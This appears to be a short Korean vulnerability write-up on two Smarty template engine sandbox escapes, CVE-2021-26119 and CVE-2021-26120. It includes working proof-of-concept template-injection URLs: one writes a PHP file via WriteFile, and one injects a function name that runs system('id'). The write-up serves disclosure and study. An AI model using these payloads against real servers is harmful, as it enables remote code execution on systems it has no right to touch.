[하루한줄] Smarty Template Engine Sandbox escape

URL

Smarty Template Engine Sandbox escape PHP Code Injection

Target

Smarty Endgine <= 3.1.38

Explain

Smarty는 PHP용 template engine입니다. Smarty는 presentation(html/css)과 app logic을 분리시키는 PHP insulation(sandbox)을 통해 injection 공격의 피해범위를 제한합니다. 하지만 Template injection이 가능할 때 sandbox escape를 할 수 있는 취약점이 발견되었습니다.

  • CVE-2021-26119

super global 변수 $smarty.template_object를 이용한 Template injection이 가능할 때 Smarty의 인스턴스에 접근할 수 있습니다. compile함수가 {$poc=$smarty.template_object}와 같은 값을 받으면 $pocSmarty_Internal_Template 객체를 할당합니다.

object(Smarty_Internal_Template)#7 (24) {  
  ["_objType"]=>
  int(2)  
  ["smarty"]=>
  &object(Smarty)#1 (76) { ... }
  ["source"]=>
  object(Smarty_Template_Source)#8 (16) { ... }
  ["parent"]=>
  object(Smarty)#1 (76) { ... }
  ["ext"]=>
  object(Smarty_Internal_Extension_Handler)#10 (4) { ... }
  ["compiled"]=>
  object(Smarty_Template_Compiled)#11 (12) { ... }

위는 Smarty_Internal_Template객체입니다. 해커는 ["smarty"]또는 ["parent"] 값을 사용해 Smarty의 인스턴스에 접근할 수 있고 arbitrary file write로 공격 범위를 확장할 수 있습니다.

http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}
  • CVE-2021-26120

template syntax를 컴파일하는 과정에서 Smarty_Internal_Runtime_TPlFunction클래스는 attacker controlled data인 name을 필터링하지 않아 함수 인젝션을 할 수 있습니다.

/* input = {function name='test'}{/function} */

if (!function_exists('smarty_template_function_test_8782550315ffc7c00946f78_05745875')) {
    function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template $_smarty_tpl,$params) {
	    foreach ($params as $key => $value) {
            $_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
        }
    }
}

입력 {function name='test'}{/function}을 받은 컴파일러는 위와 같은 코드를 생성합니다.

http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}